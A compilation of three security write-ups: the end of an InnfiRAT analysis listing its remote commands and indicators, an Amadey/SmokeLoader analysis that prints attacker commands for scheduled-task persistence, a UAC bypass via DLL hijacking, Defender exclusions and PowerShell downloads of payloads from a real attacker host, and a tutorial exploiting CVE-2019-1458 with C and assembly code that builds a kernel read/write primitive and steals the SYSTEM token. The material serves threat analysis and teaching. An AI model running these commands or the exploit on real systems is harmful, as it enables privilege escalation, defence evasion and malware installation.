If it is found, then the element of type BitcoinWallet is added to the list after assigning a name to the WalletName key and reading the corresponding wallet file in the WalletArray key. Finally, the created list is sent in response to the C&C server.
6. **LoadFiles()** - Steal small text files potentially containing sensitive information
InnfiRAT collects all the .txt files available on the desktop whose size is less than 2,097,152 bytes inside a list of CustomFile types. The created list is sent in response to the C&C server.
7. **LoadProcesses()** - Get the list of running processes on the victim machine
InnfiRAT creates an empty list of type ProcessInfo where ProcessInfo has three keys, namely:
- “ID”
- “Name”
- “Path”
It obtains the list of all the processes running in the system and sends the list in response to the C&C server.
8. **Kill(int process)** - Command to Kill a specific process on the victim machine
InnfiRAT obtains the list of all the processes running in the system and then inside a for-loop, the processID of obtained processes is compared with the processID passed as an argument to this routine one at a time. If there is a match, the process is killed and the flag variable is set to true. Finally, a response is sent to the C&C server.
9. **Screenshot()** - Take a screenshot on the victim machine
It calls the qюFpьGoJv97921676245() [CaptureScreenshot] routine and the returned value is sent to the C&C server.
10. **RunCommand(string command)** - Execute specified command on the victim machine
This creates a new CMD process, builds the command line argument using the command passed as an argument to this routine, and finally starts the process. Command line argument: `/c + “ ” + command`.
11. **ClearCooks()** - Clears browser Cookies on the victim machine
InnfiRAT creates an empty list of BrowserCook type where BrowserCook has two keys, namely:
- “CookiePaths”
- “BrowserName”
The BrowserCook type list created earlier is traversed and cookies files are deleted using CookiePaths key value. Finally, a response is sent to the C&C server.
## Conclusion
A RAT, remote-access trojan, is a type of malware that includes a backdoor, giving intruders the ability to control the targeted computer remotely and enabling them to perform any number of tasks, such as logging keystrokes, accessing confidential information, activating the system's webcam, taking screenshots, formatting drives, and more. They can also be designed to spread to other systems on a network. Because RATs are usually downloaded as a result of a user opening an email attachment or downloading an application that has been infected, the first line of defense is often the users who must, as always, refrain from downloading programs or opening attachments that aren't from a trusted source.
The ThreatLabZ team continues to monitor this threat and ensure that Zscaler customers are protected.
## IOCs
- Md5: f992dd6dbe1e065dff73a20e3d7b1eef
- Downloading URL: rgho[.]st/download/6yghkhzgm/84986b88fe9d7e3caf5183e4342e713adf6c3040/df3049723db33889ac49202cb3a2f21ac1b82d5b/peugeot.zip
- NetworkURL: tcp://62[.]210[.]142[.]219:17231/IVictim |
# Amadey Bot Being Distributed Through SmokeLoader
By Sanseo
July 21, 2022
Amadey Bot, a malware that was first discovered in 2018, is capable of stealing information and installing additional malware by receiving commands from the attacker. Like other malware strains, it has been sold in illegal forums and used by various attackers. The ASEC analysis team previously revealed cases where Amadey was used in attacks in the ASEC blog posted in 2019. Amadey was mainly used to install ransomware by attackers of GandCrab or to install FlawedAmmyy by the TA505 group that is infamous for Clop ransomware. The attackers of Fallout Exploit Kit and Rig Exploit Kit are also known for using Amadey.
The team has recently discovered that Amadey is being installed by SmokeLoader. SmokeLoader is a malware that has continuously been distributed during the last few years, taking up a high proportion in the recent ASEC statistics. It is recently distributed by having users download the malware that is disguised as software cracks and serial generation programs from websites for distribution.
SmokeLoader provides various additional features related to info-stealing as plug-ins. It is normally used to install additional malware strains as a downloader. When SmokeLoader is run, it injects Main Bot into the currently running explorer process (explorer.exe). This means that the bot that performs actual malicious behaviors operates inside the explorer process.
When Amadey is run, it first copies itself to the Temp path below. Then, Amadey registers the folder where it exists as a startup folder to allow itself to be run after reboot. It also provides a feature to register itself to Task Scheduler to maintain persistence.
**Amadey Installation Path**
`%TEMP%\9487d68b99\bguuwe.exe`
**Command registered to Task Scheduler**
`cmd.exe /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d %TEMP%\9487d68b99\`
`schtasks.exe /Create /SC MINUTE /MO 1 /TN bguuwe.exe /TR "%TEMP%\9487d68b99\bguuwe.exe" /F`
After going through the process mentioned above, the malware starts communicating with the C&C server. The following Fiddler log shows Amadey communicating with the C&C server, downloading the cred.dll plug-in to collect user environment information and send it to the C&C server, and installing RedLine info-stealer as an additional malware strain.
The malware collects the information of the infected system before it connects to the C&C server. The information collected includes basic information such as computer name and user name, as well as a list of installed anti-malware products. Each part of the collected information is sent to the C&C server in an appropriate format. The server then can send the URL of additional malware strains that Amadey will download to make it operate as a downloader.
**Data sent to the C&C server**
| Item | Data Example | Meaning |
|------|--------------|---------|
| id | 129858768759 | Infected system’s ID |
| vs | 3.21 | Amadey version |
| sd | 37bbd7 | Amadey ID |
| os | 9 | Windows version |
| bi | 0 | Architecture (x86 – 0, x64 – 1) |
| ar | 0 | Admin privilege status (1 if admin privilege is available) |
| pc | PCNAME | Computer name |
| un | USERNAME | User name |
| dm | DOMAINNAME | Domain name |
| av | 0 | List of installed anti-malware |
| lv | 0 | Set as 0 |
| og | 1 | Set as 1 |
The table above indicates that the current version of Amadey discussed in this post is 3.21. Accessing the C&C panel of the current Amadey version under analysis shows how the current version is slightly different from the previous one.
Among items sent to the C&C server, “av” refers to the information of anti-malware installed on the infected environment. Each number is assigned to a particular anti-malware product. As ’13’ is chosen if the infected environment is Windows 10 or Windows Server 2019, it is likely the number is reserved for Windows Defender.
**List of anti-malware for checking**
| Anti-malware Name | Number |
|----------------------------------------|--------|
| X | 0 |
| Avast Software | 1 |
| Avira | 2 |
| Kaspersky Lab | 3 |
| ESET | 4 |
| Panda Security | 5 |
| Dr. Web | 6 |
| AVG | 7 |
| 360 Total Security | 8 |
| Bitdefender | 9 |
| Norton | 10 |
| Sophos | 11 |
| Comodo | 12 |
| Windows Defender (assumed) | 13 |
Amadey also periodically takes screenshots and sends them to the C&C server. It captures the current screen in a JPG format and saves it with the name “129858768759” in the %TEMP% path. The screenshot is later sent to the C&C server with the POST method.
The network traffic figure shows “cred.dll”, meaning the malware downloaded a plug-in for stealing information. The plug-in developed with the Delphi programming language is downloaded to the %APPDATA% path. It is then run through rundll32.exe as having the Export function Main() as an argument.
`rundll32.exe %APPDATA%\406d6c22b040c6\cred.dll, Main`
The list of information that is stolen includes emails, FTPs, VPN clients, etc. The information collected is sent to the same C&C server.
**List of information targeted for info-stealing plug-in**
- Mikrotik Router Management Program Winbox
- Outlook
- FileZilla
- Pidgin
- Total Commander FTP Client
- RealVNC, TightVNC, TigerVNC
- WinSCP
The Fiddler log shows how Amadey installed additional malware from “hxxp://185.17.0[.]52/yuri.exe” besides the cred.dll plug-in. When Amadey periodically communicates with the C&C server to send the information of the infected system, the server usually sends NULL data back. However, it can send a downloader command depending on the command. The downloader command is sent with encoded data, and decoding it will allow the malware to receive a URL for downloading additional malware. The malware downloaded from the URL is RedLine info-stealer.
Accessing “hxxp://185.17.0[.]52/” shows a list of files.
**List of malware strains**
| Name | Type |
|---------------|-------------------------------|
| Proxy.exe | Autoit downloader malware |
| a.exe | Amadey (unpacked original version) |
| ama.exe | Amadey (NULL data added to a.exe) |
| au.exe | Amadey (packed) |
| bin | Amadey downloader (x64 DLL) |
| xyz.exe | Downloader (installs bin) |
| yuri.exe | RedLine info-stealer |
xyz.exe and bin, which are downloader malware types, are developed with the Rust programming language. xyz.exe downloads bin and supports privilege escalation using the UAC bypass technique. The technique exploits AutoElevate and the mechanisms of AIS.
AutoElevate is a program with the “<autoElevate>true</autoElevate>” property. If certain conditions are met, it can be run as admin privilege without a UAC pop-up. To do so, the program needs to be run in a trusted location such as System32 besides the property mentioned above. Hence the malware created the “C:\Windows\System32\” folder and copied “FXSUNATD.exe” (AutoElevate program) to satisfy the condition. AIS ignores spacings when internally checking paths. So if “FXSUNATD.exe” is run in the path mentioned earlier, it is recognized as being executed from a normal System32 path. The path check is successful and the program is run as AutoElevate (admin privilege).
`powershell.exe “New-Item -ItemType Directory ‘\?\C:\Windows\System32’; Copy-Item -Path ‘C:\Windows\System32\FXSUNATD.exe’ -Destination ‘C:\Windows\System32\’; powershell -windowstyle hidden $ProgressPreference= ‘SilentlyContinue’; Invoke-WebRequest hxxp://185.17.0[.]52/bin -Outfile ‘C:\Windows\System32\version.dll'”`
`powershell.exe “Start-Process ‘C:\Windows\System32\FXSUNATD.exe'”`
The malware then downloads a malicious DLL named version.dll in the same path. version.dll is a DLL used by “FXSUNATD.exe”. If the file is in the same path as “FXSUNATD.exe”, the DLL is executed first following the DLL load order when the exe program is run. The process is called DLL hijacking. By exploiting this mechanic, the malware loaded on a normal program is executed as “FXSUNATD.exe” is run after the malicious DLL (version.dll) is created in the same path.
bin (version.dll) loaded and executed by “FXSUNATD.exe” is a downloader that installs Amadey and RedLine. When it is run, it uses the Windows Defender command to register the %ALLUSERSPROFILE% folder and %LOCALAPPDATA% directory that includes the Temp directory as exclusions. It then downloads and runs each malware type.
`powershell -windowstyle hidden Add-MpPreference -ExclusionPath C:\ProgramData\; Add-MpPreference -ExclusionPath $env:TEMP\; Add-MpPreference -ExclusionPath $env:LOCALAPPDATA\`
`powershell -windowstyle hidden Invoke-WebRequest -Uri hxxp://185.17.0[.]52/yuri.exe -OutFile $env:TEMP\msconfig.exe;`
`powershell -windowstyle hidden Invoke-WebRequest -Uri hxxp://185.17.0[.]52/ama.exe -OutFile $env:TEMP\taskhost.exe`
Initially distributed through exploit kits in the past, Amadey has been installed through SmokeLoader from malicious websites disguised as download pages for cracks and serials of commercial software until recently. Once the malware is installed, it can stay in the system to steal user information and download additional payloads. Users should apply the latest patch for OS and programs such as Internet browsers, and update V3 to the latest version to prevent malware infection in advance.
AhnLab’s anti-malware software, V3, detects and blocks the malware above using the aliases below.
**File Detection**
- Trojan/Win.MalPE.R503126 (2022.07.07.01)
- Trojan/Win.Amadey.C5196504 (2022.07.07.02)
- Trojan/Win.Delf.R462350 (2022.01.04.02)
- Trojan/Win.Generic.R503640 (2022.07.09.01)
- Downloader/Win.AutoIt.C5200737 (2022.07.11.00)
- Malware/Win.Trojanspy.R438708 (2021.08.25.01)
- Trojan/Win.Amadey.C5200739 (2022.07.11.00)
- Downloader/Win.Agent.C5198969 (2022.07.10.00)
- Downloader/Win.Agent.C5198968 (2022.07.10.00)
**Behavior Detection**
- Malware/MDP.Download.M1197
- Execution/MDP.Powershell.M2514
**IOC**
MD5
- c3b7cf4c76cc20e56b180b001535696f (SmokeLoader)
- 6a87b10b372f64f7890def6fbaf08bfc (bguuwe.exe: Amadey)
- 77ce635ba7fb55f0c844077fee828ce7 (cred.dll: Stealer Plugin)
- 0f4351c43a09cb581dc01fe0ec08ff83 (yuri.exe: RedLine)
- 600bb5535d0bfc047f5c61f892477045 (Proxy.exe: Autoit downloader)
- 18bb226e2739a3ed48a96f9f92c91359 (a.exe: Amadey – unpacked original version)
- 27f626db46fd22214c1eb6c63193d2a0 (ama.exe: Amadey – NULL data added to a.exe)
- 977697e93a3b2635a5b8fb7dc3dfaf6b (au.exe: Amadey – packed)
- f0cdfc42f1c1c0c2d9b518e5cb31c788 (bin: Amadey downloader – x64 DLL)
- 0fd121b4a221c7767bd58f49c3d7cda5 (xyz.exe: Downloader – installs bin)
**Download URL**
- hxxp://185.17.0[.]52/yala.exe (Amadey)
- hxxp://authymysexy[.]info/5Lsq3FR/Plugins/cred.dll (Stealer Plugin)
- hxxp://185.17.0[.]52/yuri.exe (RedLine)
- hxxp://185.17.0[.]52/Proxy.exe (Autoit downloader malware)
- hxxp://185.17.0[.]52/a.exe (Amadey – unpacked original version)
- hxxp://185.17.0[.]52/ama.exe (Amadey – NULL data added to a.exe)
- hxxp://185.17.0[.]52/au.exe (Amadey – packed)
- hxxp://185.17.0[.]52/bin (Amadey downloader – x64 DLL)
- hxxp://185.17.0[.]52/xyz.exe (Downloader – installs bin)
**C2**
- hxxp://host-file-host6[.]com (SmokeLoader)
- hxxp://host-host-file8[.]com (SmokeLoader)
- hxxp://teamfighttacticstools[.]info/5Lsq3FR/index.php (Amadey)
- hxxp://authymysexy[.]info/5Lsq3FR/index.php (Amadey)
- hxxp://nftmatrixed[.]info/5Lsq3FR/index.php (Amadey)
- 185.17.0[.]63:34397 (RedLine)
Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
**Categories:** Malware Information
**Tagged as:** Amadey, crack, Downloader, InfoStealer, SmokeLoader, UACBypass |
# The WizardOpium LPE: Exploiting CVE-2019-1458
In December, Kaspersky published a blog post about a 0day exploit spotted in the wild, CVE-2019-1458. The vulnerability is in the win32k.sys driver and can allow an attacker to elevate an application's privileges to SYSTEM, potentially causing a sandbox escape. I highly recommend you to first read this article which contains a very good description of all the nitty-gritty details of this vulnerability since in this post I will focus only on the exploitation of the vulnerability itself on a Windows 7 x64 machine.
## Why just Windows 7?
In my personal opinion, it makes much more sense for a person who is just getting started with Windows Kernel Exploitation to develop the exploit for Windows 7 instead of dealing with Windows 10 mitigations. Moreover, since the approach I chose to exploit this vulnerability involves building a Kernel Write What Where primitive to carry out a data-only attack, it will be pretty easy to make this exploit work against a Windows 8.1 machine.
## Let’s get started
CVE-2019-1458 is an arbitrary kernel pointer dereference vulnerability. In other words, an attacker has the possibility to trigger the dereference of a kernel memory address of his choice. If you have read the article linked above, you will know this vulnerability has some constraints:
- It is possible to trigger the vulnerability only once per system reboot.
- The attacker has no control over the content of the value being assigned to the dereferenced pointer.
Let’s start with getting a clear idea of what we have and what we want to achieve: we have the possibility to trigger the dereference of a kernel memory address of our choice and we want to elevate our privileges to SYSTEM, possibly even escaping a browser sandbox.
## How do we actually achieve this?
Most modern Windows Kernel Exploitation techniques strive to get a Write What Where kernel primitive (hereinafter WWW Primitive): the ability to arbitrarily read and write to kernel memory. Usually, building a WWW primitive consists of triggering a kernel vulnerability with the goal of corrupting specific Windows Kernel objects fields.
Our journey to successfully exploit this vulnerability can be divided into the following parts:
1. Understanding the pointer dereference.
2. Choosing a suitable kernel structure whose fields we want to corrupt.
3. Dealing with KASLR.
4. Triggering the vulnerability to corrupt the target structure.
5. Building the WWW primitive.
6. Leveraging the WWW primitive to elevate privileges.
7. Fixing the corrupted kernel structure.
## Understanding the pointer dereference
As already stated before, I highly recommend you to first read the analysis I linked you above before keeping reading this article. In a nutshell, this vulnerability allows overwriting the pointer to a structure containing information about the Switch Window by calling the SetWindowLongPtr API. This pointer will be accessed during the execution of the xxxPaintSwitchWindow and will be dereferenced as you can see in the code below (the pointer is present in the register RDI):
```
sub [rdi + 0x60], EBX
add [rdi + 0x68], EBX
sub [rdi + 0x5C], ECX
add [rdi + 0x64], ECX
```
Since the pointer to this structure can be deliberately overwritten by an attacker, this code will increment and decrement data pointed at four different offsets starting from the attacker-provided kernel address.
## Choosing a suitable target kernel structure
Unfortunately, we do not have control over the values that will get assigned to our dereferenced pointer. For this reason, our best bet would be to leverage this vulnerability to modify a field of a kernel object in such a way that we will be able to trigger an Out of Bound write access to some nearby object to develop a stronger primitive.
The technique I will use has been described by Saif El Sherei and relies on the fact that if an attacker is able to place two tagWND objects in memory one after another and then corrupt the cbwndExtra field of the first tagWND object, it will be possible to use the SetWindowLongPtr API on the tagWND whose cbwndExtra field has been corrupted to be able to write to the tagWND object placed next to the corrupted one.
But what is the tagWND? In a nutshell, the tagWND is a kernel structure which represents a WINDOW object in kernel memory. The most interesting fields for us will be the strName and the cbwndExtra. For now, let’s focus on the latter, representing the size of the extra memory area allocated after the window instance.
When creating a WINDOW, it is possible to specify the number of extra bytes to allocate after the window instance, as you can see in the code snippet below:
```c
WNDCLASSEXW* testClass = (WNDCLASSEXW*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WNDCLASSEXW));
testClass->cbSize = sizeof(WNDCLASSEXW);
testClass->lpfnWndProc = (WNDPROC)DefWindowProcW;
testClass->lpszClassName = L"TestClass";
testClass->cbWndExtra = 0x1000;
RegisterClassExW(testClass);
CreateWindowExW(0, testClass->lpszClassName, L"DummyName", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, 0, 0);
```
Running this code will trigger the creation in kernel mode of a tagWND object having 0x1000 as cbwndExtra field value! Since the SetWindowLongPtr function can be used to set a value at a specified offset in the extra window memory, if we manage to leverage the vulnerability in such a way that the cbwndExtra value of a tagWND object will be much higher than the original one, issuing a call to the SetWindowLongPtr will result in an Out of Bound write, allowing us to further corrupt other kernel structures.
## Dealing with KASLR
Considering that we are dealing with an arbitrary pointer dereference, we will not need to perform some magic kernel pool feng-shui to accomplish our goal. In order to successfully corrupt the cbwndExtra of our target tagWND object, we will need to solve just two problems:
1. Getting the tagWND object kernel address.
2. Choosing the right offset to trigger the dereference on.
### Getting the tagWND object kernel address
To leak the tagWND kernel address, we can use the well-known HMValidateHandle technique: since this function allows mapping the tagWND object in the user mode memory space, we will be able to get its kernel mode address and its field values. This technique is extremely popular in the world of Windows Kernel Exploitation.
### Choosing the right offset
The arbitrary pointer dereference operates on four offsets starting from the attacker-provided address: 0x60, 0x68, 0x5C, and 0x64. The small problem that arises is that since our target cbwndExtra field is located at offset 0xE8, we can’t just trigger the vulnerability by providing the tagWND kernel address since the triggered arbitrary dereference will not access offset 0xE8.
Let’s look at the first dereference:
```
sub [rdi + 0x60], ebx
```
Since 0x88 + 0x60 = 0xE8, we can just trigger the vulnerability by providing this address: `tagWNDKernelAddress + 0x88`. In this way, the value of the cbwndExtra field will be decremented and become less than zero, allowing us to get a partial write primitive.
There is still a problem: since it is not the only dereference present, other fields of the tagWND structure will be corrupted, resulting in a BSOD as soon as we close the application. Since the BSOD will be triggered only after closing the application, we will take care of this issue in the last chapter of our adventure.
## Triggering the vulnerability
We are now ready to trigger the vulnerability! The process of triggering the vulnerability can be divided into the following parts:
1. Triggering the creation of two adjacent tagWND objects.
2. Creating the target Window and initializing it.
3. Setting the pointer we want to trigger the arbitrary dereference on.
4. Creating the special Switch Window.
5. Simulating the pressing of the ALT keyboard button.
6. Sending the WM_ERASEBKGND to the target Window.
### Triggering the creation of two adjacent tagWND Objects
This part is actually not related to the vulnerability itself, but we will need it to successfully exploit the vulnerability. Since our goal is to trigger the vulnerability to corrupt the cbwndExtra field of a tagWND object, we will need to make sure that we will create two adjacent tagWND structures since this approach will give us just a partial write primitive! To solve this problem, we can just create a lot of Window objects, leak their addresses using the HMValidateHandle technique, and just look at the distance between the created objects to choose the nearest between each other.
Once we found two adjacent tagWND objects, we can continue to the next part.
### Creating and initializing the target Window
We will now need to create the Window object which will be used to trigger the vulnerability. To accomplish this task, we can just register a Window class with a cbwndExtra field of 0x8 and then use the CreateWindowEx API to create our target Window. Then we will just initialize the target window by calling the NtUserMessageCall with the WM_CREATE param.
```c
NtUserMessageCall(targetWindow, 0x1, 0, 0, 0, 0xE0, 1); //0x1 is WM_CREATE
```
But how do we actually call the NtUserMessageCall function? We will need to issue a syscall! Luckily for us, at this address we can find the list of all Windows syscalls with their number: as we can see, the syscall number for NtUserMessageCall is 0x1007 on Windows 7 x64.
There is still a small problem we will need to solve: since we want to support execution from Wow64 processes, we will need to support Wow64 syscalls.
```c
_declspec(naked) NTSTATUS WINAPI NtUserMessageCallWow64(HWND, UINT, WPARAM, LPARAM, ULONG_PTR, DWORD, BOOL) {
_asm {
mov eax, 0x1007;
xor ecx, ecx;
lea edx, dword ptr ss:[esp + 0x4];
call dword ptr fs:[0xC0];
add esp, 0x4;
retn 0x1C;
}
}
```
```c
PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, 0x1007
syscall
ret
NtUserMessageCall ENDP
```
### Setting the pointer we want to trigger the arbitrary dereference on
It’s now time to call the SetWindowLongPtr on the target Window specifying the address of the first of the two created adjacent tagWND objects as already explained before.
```c
SetWindowLongPtr(targetWindow, 0, (ULONG)(tagWNDKernelAddress + 0x88));
SetWindowLongPtr(targetWindow, 4, (ULONG)(tagWNDKernelAddress >> 32));
```
In this way, the offset 0x88 of the tagWNDKernelAddress will be dereferenced in the xxxPaintSwitchWindow function after sending the WM_ERASEBKGND message as we will see in the next sections. If we pay attention to the code above, we will notice that the SetWindowLongPtr function is actually called two times: this approach is used to support execution from Wow64 processes since it will not be possible to set a ULONG64 address by calling the SetWindowLongPtr function just once from a 32-bit process.
### Creating the special Switch Window
Creating this Window will be crucial to execute the code path to trigger the vulnerability.
```c
HMODULE currMod = GetModuleHandleA(NULL);
HWND taskSwitchWnd = CreateWindowExA(0, "#32771", NULL, 0, 0, 0, 0, 0, 0, 0, currMod, 0);
```
### Simulating the pressing of the ALT keyboard button
To trigger the vulnerability, we will need to simulate the pressing of the ALT keyboard button. Let’s take a better look at the pseudo C code checking for the status of the ALT button:
```c
if (*((DWORD*)(arbitraryKernelAddress + 0x6C)) == 0) {
if (GetAsyncKeyState(VK_MENU) >= 0)
goto fail;
} else {
if (GetKeyState(VK_MENU) >= 0)
goto fail;
}
```
The function will compare to zero a DWORD value located at the offset 0x6C starting from the attacker-provided kernel address and will determine according to the comparison result which function to use to get the status of the ALT button.
Since we decided to provide the address of our target tagWND structure + 0x88, the vulnerable function will check the DWORD at offset 0xF0 (0x88 + 0x6C) of the target tagWND object.
Since we can get a read-only copy of the tagWND object by calling the HMValidateHandle function, we can just check the value of the DWORD at the offset 0xF0 to determine how to simulate the pressing of the ALT button.
```c
if (*((DWORD*)(tagWNDUsermodeCopy + 0xF0)) == 0) {
INPUT inputData = { 0 };
inputData.type = INPUT_KEYBOARD;
inputData.ki.wVk = VK_MENU;
inputData.ki.dwFlags = 0;
SendInput(1, &inputData, sizeof(inputData));
} else {
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
}
```
### Sending the WM_ERASEBKGND to the target Window
So here we are! We will now send the WM_ERASEBKGND message to the target Window by calling the NtUserMessageCall API. Sending this message will trigger the execution of the xxxPaintSwitchWindow on the vulnerable code path where the arbitrary pointer dereference occurs!
```c
NtUserMessageCall(targetWindow, 0x14, 0, 0, 0, 0xE0, 1); //0x14 is WM_ERASEBKGND
```
Let’s take a look at our target tagWND object before sending the WM_ERASEBKGND message:
If we pay attention to the pictures above, we will see that the value of the cbwndExtra field is 0x3000 (12288 in decimal). Let’s now have a look at the very same kernel address after sending the WM_ERASEBKGND message:
The value of the cbwndExtra has become much bigger than the original one! As already stated before, by corrupting the cbwndExtra field of a tagWND object we will be able to turn a call to the SetWindowLongPtr API into a partial kernel write primitive.
## Building the WWW Primitive
The cbwndExtra of our corrupted tagWND is now very big. What does this imply? By issuing a call to the SetWindowLongPtr API and specifying the HWND of our corrupted tagWND object, we will be able to trigger an Out-of-Bound write and write across the extra memory of our tagWND object.
The only thing that we must take into account is that we will need to calculate the distance between the beginning of our corrupted tagWND extra memory and the field of the adjacent tagWND structure we want to corrupt! A nice write-up of this technique can be found here.
Moreover, before keeping reading, I strongly recommend you to first read this article if you are not familiar with using BITMAP objects to build WWW primitives.
Our plan to build our WWW primitive will look like this:
1. Create two BITMAP objects (Manager and Worker) and leak their kernel addresses.
2. Use our partial write primitive to set the strName field of the adjacent tagWND object to the address of our Manager BITMAP.
3. Call the SetWindowText on the adjacent tagWND object by setting the window text as the address of the Worker BITMAP.
### Creating two BITMAP Objects and leaking their addresses
Considering the fact that we are exploiting this vulnerability on a Windows 7 x64 machine, creating BITMAP objects and leaking their addresses will be pretty trivial since it can be accomplished by just accessing the GdiSharedHandleTable.
### Corrupting the strName field
The strName field of a tagWND object is a LARGE_UNICODE_STRING structure containing a pointer to a buffer in which it is stored the name of the Window object. This is the buffer the function NtUserDefSetText will ultimately operate on. In other words, if we are able to modify the address contained in the strName.Buffer field of a tagWND object, the NtUserDefSetText function will write data to the specified address!
Technically, we could build a full Write What Where primitive just by leveraging NtUserDefSetText for the write primitive and InternalGetWindowText for the read primitive, but since I wanted to show you how to build a WWW primitive by abusing GDI objects, let’s use the SetWindowLongPtr function to overwrite the strName.Buffer field of the adjacent tagWND object with the address of the pvScan0 field of our Manager Bitmap object.
To corrupt the strName field of our target adjacent object, we will just need to call the SetWindowLongPtr API with the HWND of the corrupted tagWND object and the right offset as already explained above.
```c
SetWindowLongPtr(corruptedWindowHWND, offsetDelta, (ULONG)(pManagerBitmapAddress));
SetWindowLongPtr(corruptedWindowHWND, offsetDelta + 0x4, (ULONG)(pManagerBitmapAddress >> 32));
```
### Modifying the Manager Object pvscan0 field
Since the strName.Buffer field of the adjacent tagWND object is set to the address of the pvscan0 field of the Manager object, we will now call the SetWindowTextW API to actually overwrite the value of the Manager’s pvscan0 field. By specifying the address of the Worker Bitmap object as shown in the code below, the pvScan0 field of the Manager BITMAP will have the value of the address of the pvscan0 address of the Worker Bitmap. In other words, we will be then able to arbitrarily read and write the kernel memory by calling the GetBitmapBits/SetBitmapBits APIs on the corrupted BITMAP objects!
```c
wchar_t* inputText = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 5 * sizeof(wchar_t));
inputText[3] = (pWorkerBitmapAddress >> 48) & 0xFFFF;
inputText[2] = (pWorkerBitmapAddress >> 32) & 0xFFFF;
inputText[1] = (pWorkerBitmapAddress >> 16) & 0xFFFF;
inputText[0] = (pWorkerBitmapAddress >> 0) & 0xFFFF;
SetWindowTextW(adjacentWindowHwnd, (LPWSTR)inputText);
```
Congratulations! We have built a full WWW primitive which will allow us to read and write to any address in kernel memory!
## Elevating privileges
Once we have a full WWW primitive, there are a lot of ways to elevate our privileges. In this article, we will focus on one of the most common approaches: stealing the SYSTEM TOKEN.
Every process running on the system is represented in kernel memory in an EPROCESS structure which describes several properties of the process, such as its process image name and process security context. One of the EPROCESS structure's most interesting fields is the TOKEN structure: a kernel memory structure describing the process token privileges.
A common strategy used when exploiting a Windows Kernel vulnerability is to replace the TOKEN of the process in which the exploit code will be executed with the TOKEN of the SYSTEM process. The replacing of our process TOKEN with the SYSTEM’s token will give us SYSTEM privileges on the targeted machine, allowing us to successfully escape the browser sandbox! Sounds good, right?
### Getting EPROCESS address
A very common approach to get the address to the System EPROCESS structure is to get the offset to the PsInitialSystemProcess variable by loading in memory the ntoskrnl.exe executable and then getting the kernel address of ntoskrnl.exe by calling the EnumDeviceDrivers function. Unfortunately, this approach will not work when exploiting the vulnerability from a Wow64 process!
In order to achieve full coverage, we will need to use another approach! Let’s have a look at the THRDESKHEAD object on WinDBG, the header for user objects that can be owned by a thread and are specific to a desktop (it begins the tagWND structure):
If we see the picture above, we can get a pointer to a tagTHREADINFO structure at offset 0x10 of the tagWND. To get this pointer, we can just use our kernel Read primitive:
```c
ULONG64 tagTHREADINFO = 0;
readQWORD(tagWNDKernelAddress + 0x10, &tagTHREADINFO);
```
The tagTHREADINFO is a pretty complex structure, but we will not need to fully understand it to successfully exploit this vulnerability. If we look at offset 0x158, we will see a pointer to a tagPROCESSINFO structure.
```c
ULONG64 tagPROCESSINFOAddress = 0;
readQWORD(tagTHREADINFO + 0x158, &tagPROCESSINFOAddress);
```
As you can see in the picture above, the first field of the tagPROCESSINFO is a pointer to the current process EPROCESS structure! This means that we can just use our kernel Read Primitive to access the first field of the tagPROCESSINFO structure and obtain the address of our process’ EPROCESS structure!
```c
ULONG64 eprocessAddress = 0;
readQWORD(tagPROCESSINFOAddress, &eprocessAddress);
```
In order to get the address of the SYSTEM EPROCESS structure, we will need to iterate the LIST_ENTRY ActiveProcessLinks field starting from our process’ EPROCESS structure looking for an EPROCESS structure having PID 0x4 (the SYSTEM process) as you can see in the example code below:
```c
ULONG64 getCurrentProcessEProcess(ULONG64 tagWNDAddress) {
ULONG64 tagTHREADINFO = 0;
readQWORD(tagWNDAddress + 0x10, &tagTHREADINFO);
ULONG64 tagPROCESSINFO = 0;
readQWORD(tagTHREADINFO + 0x158, &tagPROCESSINFO);
ULONG64 eprocessAddress = 0;
readQWORD(tagPROCESSINFO, &eprocessAddress);
return eprocessAddress;
}
void setSystemToken(ULONG64 tagWNDAddress) {
ULONG64 currentEProcess = getCurrentProcessEProcess(tagWNDAddress);
ULONG64 tempEProcess = currentEProcess;
ULONG64 currentProcID = 0;
readQWORD(currentEProcess + 0x180, ¤tProcID);
if (currentProcID != GetCurrentProcessId())
return;
while (TRUE) {
ULONG64 activeProcessLinks = 0;
readQWORD(tempEProcess + 0x188, &tempEProcess); //0x188 is the offset of ActiveProcessLinks on Windows 7 x64
tempEProcess -= 0x188;
ULONG64 uniqueProcessID = 0;
readQWORD(tempEProcess + 0x180, &uniqueProcessID); // 0x180 is the offset of UniqueProcessID on Windows 7 x64
if (uniqueProcessID == 4)
break;
}
ULONG64 systemToken = 0;
readQWORD(tempEProcess + 0x208, &systemToken); //0x208 is the offset of TOKEN on Windows 7 x64
writeQWORD(currentEProcess + 0x208, systemToken);
}
```
Once we have all the needed addresses, we will just need to use our Read primitive to steal the TOKEN of the SYSTEM process and use our write primitive to overwrite our process TOKEN with the SYSTEM token we have just stolen! Great! We are now SYSTEM! Unfortunately, as long as we will close our application, the system will crash!
## Fixing corrupted tagWND structure
In the chapters before, I reminded you that the arbitrary dereference is triggered at four different offsets. In other words, the cbwndExtra will not be the only tagWND field which will be corrupted. Since the crash happens only after closing the application, we will just need to make sure to use our WWW primitive to fix the corrupted addresses before terminating execution.
In order to achieve our goal, we will rely on the fact that the HMValidateHandle function will give us read-only access to the tagWND kernel structure data, allowing us to save all the needed values before corrupting them when triggering the vulnerability.
Let’s take a look at the following pseudo C code which will make use of our WWW primitive to fix the corrupted structures:
```c
writeQWORD(corruptedWindowKernelAddress + 0xF0, spwndOriginal);
writeQWORD(corruptedWindowKernelAddress + 0xE0, originalValue);
writeQWORD(corruptedWindowKernelAddress + 0xD8, 0); // Sets to NULL the strName field
writeQWORD(adjacentWindowKernelAddress + 0xE0, 0);
```
After fixing this issue, our exploit will stop crashing the system after closing the application!
## Conclusion
I consider CVE-2019-1458 a great vulnerability to get started with Windows Kernel Exploitation since it is pretty easy to exploit. I think I will publish in the next weeks another article explaining how to exploit this vulnerability on Windows 10. Full source code to exploit this vulnerability will be published in the next days! |
